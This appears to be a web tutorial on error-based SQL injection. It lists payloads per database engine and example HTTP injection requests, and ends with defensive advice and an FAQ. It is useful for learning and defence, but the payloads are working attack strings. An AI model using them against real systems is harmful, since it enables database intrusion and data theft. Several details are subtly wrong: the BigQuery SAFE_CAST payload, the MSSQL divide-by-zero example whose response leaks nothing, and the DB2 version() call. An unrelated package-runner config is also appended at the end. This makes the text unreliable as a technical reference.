Error-Based SQL Injection Exploitation Methods: A Complete Guide

Error-based SQL injection forces a database to return an error message containing the result of a malicious sub-query, allowing attackers to extract data directly from the error text without blind inference techniques.

Error-based SQL injection exploitation methods leverage verbose database error messages as a covert exfiltration channel. The PayloadsAllTheThings repository catalogs these techniques across all major database management systems, providing security researchers with DBMS-specific payloads that convert syntax errors into information disclosure vulnerabilities.

How Error-Based SQL Injection Works

This technique relies on database functions that evaluate expressions before raising an error. When an attacker injects a sub-query into such a function, the database executes the sub-query first, attempts to process the result, fails, and returns the sub-query's output within the error message.

The general exploitation workflow follows four stages:

1. Identify a vulnerable parameter – Locate an input reflected in an SQL query without proper sanitization.
2. Trigger an error – Append a function that deliberately fails while concatenating a sub-query result.
3. Parse the error – Extract the data from the returned error message.
4. Enumerate data – Repeat with different sub-queries to harvest schema information or sensitive data.

DBMS-Specific Error-Based Techniques

The PayloadsAllTheThings repository organizes error-based methods by DBMS in dedicated files under the SQL Injection/ directory. Each database engine requires distinct functions to generate exploitable errors.

MySQL and MariaDB

Source file: SQL Injection/MySQL Injection.md

MySQL error-based extraction relies on XML and GTID functions that throw XPATH syntax errors. The most common vectors include:

• EXTRACTVALUE – Triggers XPATH syntax errors when concatenating sub-query results.
• UPDATEXML – Similar to EXTRACTVALUE but targets XML update operations.
• GTID_SUBSET – Generates errors when GTID set operations fail.
• JSON_KEYS – Forces errors on invalid JSON key operations.
• NAME_CONST – Creates duplicate column name errors.

Example payload:

AND EXTRACTVALUE(RAND(),CONCAT(0x7e, (SELECT @@VERSION), 0x7e))

This returns an error containing the MySQL version string between tilde characters.

PostgreSQL

Source file: SQL Injection/PostgreSQL Injection.md

PostgreSQL error-based extraction typically abuses type-cast operations. When the database attempts to cast a string result to an incompatible numeric type, it includes the string value in the error message.

Example payload:

LIMIT CAST((SELECT version()) AS numeric)

The cast failure reveals the full version string in the error output.

Oracle

Source file: SQL Injection/OracleSQL Injection.md

Oracle databases expose data through ORA-errors generated by numeric conversion failures and XML processing functions.

Key functions:

• TO_NUMBER – Forces invalid number conversion errors.
• DBMS_XMLGEN.getXML – Generates XML parsing errors containing query results.

Example payload:

AND TO_NUMBER((SELECT banner FROM v$version))

This triggers an ORA-01722: invalid number error containing the database banner information.

Microsoft SQL Server

Source file: SQL Injection/MSSQL Injection.md

MSSQL error-based extraction utilizes type conversion errors and deliberate divide-by-zero operations.

Techniques:

• CONVERT/CAST errors – Attempt to cast string data to integer types.
• RAISEERROR – Programmatically generates custom errors (requires specific permissions).
• Divide-by-zero – Simple arithmetic errors that can embed sub-queries.

Example payloads:

AND CONVERT(int,(SELECT @@VERSION))

Or using divide-by-zero:

AND (SELECT @@VERSION)/0

Error response:

Divide by zero error encountered.

DB2

Source file: SQL Injection/DB2 Injection.md

DB2 error-based extraction leverages XML parsing and integer overflow conditions.

Key function:

• XMLPARSE – Forces XML parsing errors containing embedded query results.

Example payload:

AND XMLPARSE(DOCUMENT (SELECT version()) PRESERVE WHITESPACE)

BigQuery

Source file: SQL Injection/BigQuery Injection.md

Google BigQuery error-based extraction abuses safe casting functions and STRUCT type mismatches.

Key function:

• SAFE_CAST – When used in contexts that force error generation, reveals data in error messages.

Example payload:

AND SAFE_CAST((SELECT version()) AS INT64)

Generic Error-Based Payloads

For scenarios where the specific DBMS is unknown, the repository provides a cross-platform collection in SQL Injection/Intruder/Generic_ErrorBased.txt. This file contains payload fragments that use standard SQL functions and logical operators to trigger errors across multiple database engines, including:

• HAVING clause errors
• ORDER BY position errors
• Comment-based query termination

These generic strings serve as initial probes during the reconnaissance phase before refining attacks with DBMS-specific payloads.

Practical Exploitation Examples

The following HTTP requests demonstrate how to inject error-based payloads into vulnerable parameters. These examples assume a target endpoint http://example.com/item?id=.

MySQL EXTRACTVALUE

GET /item?id=1 AND EXTRACTVALUE(RAND(),CONCAT('~',(SELECT @@VERSION),'~'))-- HTTP/1.1
Host: example.com

Expected error response:

XPATH syntax error: '~5.7.31~'

PostgreSQL Type Cast

GET /product?id=1 LIMIT CAST((SELECT version()) AS numeric) HTTP/1.1
Host: example.com

Oracle TO_NUMBER

GET /search?q=abc' AND TO_NUMBER((SELECT banner FROM v$version))-- HTTP/1.1
Host: example.com

Error output:

ORA-01722: invalid number

MSSQL Divide-by-Zero

GET /login?user=admin&pass=123' AND (SELECT @@VERSION)/0-- HTTP/1.1
Host: example.com

Response:

Divide by zero error encountered.

Defensive Considerations

Preventing error-based SQL injection requires both input validation and error handling discipline:

• Suppress detailed errors – Configure applications to return generic messages (e.g., "Internal Server Error") while logging detailed diagnostics internally. This prevents attackers from reading sub-query results in error text.
• Use parameterized queries – Implement prepared statements with bound variables instead of string concatenation. This ensures user input is treated as data, not executable code.
• Input validation – Enforce strict type checking, whitelist acceptable characters, and reject SQL keywords and functions (EXTRACTVALUE, UPDATEXML, CAST, CONVERT) in user input.
• Web Application Firewalls – Deploy WAF rules that detect error-based patterns, including XML function abuse in MySQL, type-cast attempts in PostgreSQL, and numeric conversion errors in Oracle and MSSQL.

Summary

• Error-based SQL injection extracts data by forcing the database to return error messages containing sub-query results.
• The PayloadsAllTheThings repository categorizes these techniques by DBMS in files like SQL Injection/MySQL Injection.md and SQL Injection/PostgreSQL Injection.md.
• MySQL commonly uses EXTRACTVALUE and UPDATEXML to trigger XPATH syntax errors containing version or schema data.
• PostgreSQL exploits type-cast failures, while Oracle abuses TO_NUMBER and DBMS_XMLGEN.getXML to generate ORA-errors.
• Microsoft SQL Server leverages CONVERT errors and divide-by-zero operations to leak information.
• Generic payloads in SQL Injection/Intruder/Generic_ErrorBased.txt provide cross-platform testing strings.
• Defenders should disable verbose error messages and implement parameterized queries to neutralize this attack vector.

Frequently Asked Questions

What is the difference between error-based and blind SQL injection?

Error-based SQL injection relies on verbose error messages returned by the database to extract data directly from the error text, whereas blind SQL injection requires the attacker to infer data by observing differences in application behavior (true/false responses or time delays) when no error details are exposed. Error-based techniques typically require fewer requests because the data appears explicitly in the error output.

Which functions are most commonly used for error-based SQL injection in MySQL?

According to the PayloadsAllTheThings repository, the most reliable MySQL error-based functions include EXTRACTVALUE and UPDATEXML for XPATH syntax errors, GTID_SUBSET for GTID set operation failures, JSON_KEYS for JSON parsing errors, and NAME_CONST for duplicate column name errors. These functions evaluate their arguments before raising an error, allowing sub-query results to be concatenated into the error message.

How can applications prevent error-based SQL injection attacks?

Applications can prevent error-based SQL injection by implementing three critical controls: first, configure the database and application to return generic error messages without revealing internal details such as version numbers or schema information; second, use prepared statements with bound variables to ensure user input is never concatenated into SQL strings; third, deploy Web Application Firewalls with rules that detect error-based patterns including XML function abuse in MySQL, type-cast operations in PostgreSQL, and numeric conversion attempts in Oracle and MSSQL.

What is the purpose of the Generic_ErrorBased.txt file in PayloadsAllTheThings?

The SQL Injection/Intruder/Generic_ErrorBased.txt file contains a curated collection of payload fragments designed to trigger errors across multiple database management systems when the specific DBMS is unknown. These strings utilize standard SQL features such as HAVING clauses, ORDER BY position errors, and comment-based query termination to generate diagnostic errors that help identify vulnerable parameters during the initial reconnaissance phase before refining attacks with DBMS-specific payloads.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}